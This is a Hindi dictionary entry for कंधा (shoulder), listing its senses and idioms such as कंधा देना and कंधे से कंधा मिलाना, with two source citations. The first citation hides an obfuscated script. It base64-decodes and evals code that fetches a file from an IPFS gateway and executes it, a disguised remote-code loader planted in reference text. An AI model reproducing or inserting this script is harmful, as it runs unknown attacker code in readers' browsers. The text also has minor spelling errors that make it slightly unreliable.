कंधा

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कंधा - संज्ञा पुल्लिंग (संस्कृत स्कंध, प्राकृत कंध)[1]

1. मनुष्य के शरीर का वह भाग जो गले और मौढ़े के बीच में है।

मुहावरा

कंधा देना = (1) अरथी में कंथा लगाना। अरथी को कंधे पर लेना या लेकर चलना। शव के साथ अमशान तक जाना। (2) सहारा देना। सहायता देना। मदद देना।

कंधा बदलना = (1) बोझ को एक कंधे से दूसरे कंधे पर लेना। (2) बोझ को दूसरे के कंधे पर से अपने कंधे पर लेगा।

कंधा भरना; कंधा भर जाना = बोझ के कारण पालकी ढोने वालों के कंधे का फूल जाना या भारीपन जान पड़ना।

कंधा लगना = पहले पहल या दूर तक पालकी आदि ढोने से कंधे का कल्लाना।

कंधे की उड़ान = मालखंभ की एक कसरत, जिसमें कंधे के बल उड़ते हैं।

2. बाहुमूल। मोढ़ा।

मुहावरा

कंधे से कंधा छिलना = बहुत अधिक भीड़ होना। जैसे- मंदिर के फाटक पर कंधे से कंधा मिलता था, भीतर जाना कठिन था।

3. बैल की गर्दन का वह भाग जिस पर जुआ रखा जाता है।

मुहावरा

कंधा डालना = (1) बैल का अपने कंधे से जुआ फेंकना। जुआ डालना।

(2) हिम्मत हारना। थक जाना। साहस छोड़ना।

कंधा लगना = जुए की रगड़ से कंधे का छिल जाना।

उदाहरण- लग गया कंधा बला से लग गया। - चुभते[2]

कंधे से कंधा मिलाना = अवसर पड़ने पर पूर्ण सहयोग देना।


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टीका टिप्पणी और संदर्भ

  1. हिंदी शब्दसागर, द्वितीय भाग |लेखक: श्यामसुंदरदास बी. ए. |प्रकाशक: नागरी मुद्रण, वाराणसी |पृष्ठ संख्या: 726 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
  2. चुभते चौपदे, पृष्ठ 37, अयोध्यासिंह उपाध्याय 'हरिऔध', खड्गविलास प्रेस, पटना, प्रथम संस्करण

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